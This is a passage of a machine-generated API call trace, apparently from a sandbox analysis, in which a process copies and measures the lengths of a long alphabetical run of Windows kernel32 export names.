lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0147.700] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0147.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0147.700] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0147.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0147.700] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0147.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0147.700] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0147.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0147.700] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0147.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0147.700] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0147.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0147.700] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0147.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0147.700] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0147.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0147.700] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0147.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0147.700] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0147.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0147.700] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0147.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0147.701] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0147.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0147.701] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0147.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0147.701] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0147.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0147.701] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0147.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0147.701] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0147.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0147.701] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0147.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0147.701] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0147.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0147.701] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0147.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0147.701] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0147.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0147.701] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0147.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0147.701] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0147.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0147.701] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0147.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0147.701] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0147.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0147.701] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0147.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0147.701] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0147.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0147.701] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0147.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0147.702] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0147.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0147.702] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0147.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0147.702] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0147.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0147.702] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0147.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0147.702] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0147.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0147.702] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0147.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0147.702] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0147.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0147.702] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0147.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0147.702] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0147.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0147.702] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0147.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0147.702] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0147.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0147.702] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0147.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0147.702] lstrlenA (lpString="BEEP") returned 4 [0147.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0147.703] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0147.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0147.703] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0147.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0147.703] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0147.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0147.703] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0147.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0147.703] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0147.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0147.703] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0147.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0147.703] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0147.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0147.703] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0147.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0147.703] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0147.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0147.703] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0147.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0147.703] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0147.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0147.703] lstrlenA (lpString="CANCELIO") returned 8 [0147.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0147.703] lstrlenA (lpString="CANCELIOEX") returned 10 [0147.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0147.703] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0147.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0147.703] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0147.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0147.703] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0147.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0147.704] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0147.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0147.704] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0147.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0147.704] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0147.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0147.704] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0147.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0147.704] lstrlenA (lpString="CHECKELEVATION") returned 14 [0147.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0147.704] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0147.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0147.704] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0147.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0147.704] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0147.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0147.704] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0147.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0147.704] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0147.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0147.704] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0147.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0147.704] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0147.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0147.704] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0147.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0147.704] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0147.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0147.704] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0147.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0147.704] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0147.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0147.705] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0147.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0147.705] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0147.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0147.705] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0147.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0147.705] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0147.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0147.705] lstrlenA (lpString="CLOSESTATE") returned 10 [0147.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0147.705] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0147.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0147.705] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0147.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0147.705] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0147.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0147.705] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0147.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0147.705] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0147.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0147.705] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0147.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0147.705] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0147.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0147.705] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0147.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0147.705] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0147.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0147.705] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0147.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0147.705] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0147.706] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0147.706] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0147.706] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0147.706] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0147.706] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0147.706] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0147.706] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0147.706] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0147.706] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0147.706] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0147.706] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0147.706] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0147.706] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0147.706] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0147.706] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0147.706] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0147.706] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0147.706] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0147.706] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0147.706] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0147.706] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0147.706] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0147.706] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0147.706] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0147.706] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0147.706] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0147.706] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0147.706] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0147.706] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0147.706] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0147.706] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0147.706] lstrlenA (lpString="COPYCONTEXT") returned 11 [0147.707] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0147.707] lstrlenA (lpString="COPYFILE2") returned 9 [0147.707] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0147.707] lstrlenA (lpString="COPYFILEA") returned 9 [0147.707] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0147.707] lstrlenA (lpString="COPYFILEEXA") returned 11 [0147.707] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0147.707] lstrlenA (lpString="COPYFILEEXW") returned 11 [0147.707] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0147.707] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0147.707] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0147.707] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0147.707] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0147.707] lstrlenA (lpString="COPYFILEW") returned 9 [0147.707] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0147.707] lstrlenA (lpString="COPYLZFILE") returned 10 [0147.707] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0147.707] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0147.707] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0147.707] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0147.707] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0147.707] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0147.707] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0147.707] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0147.707] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0147.707] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0147.707] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0147.707] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0147.707] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0147.707] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0147.707] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0147.708] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0147.708] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0147.708] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0147.708] lstrcpyA (in: lpString1=0x38bdb2c, 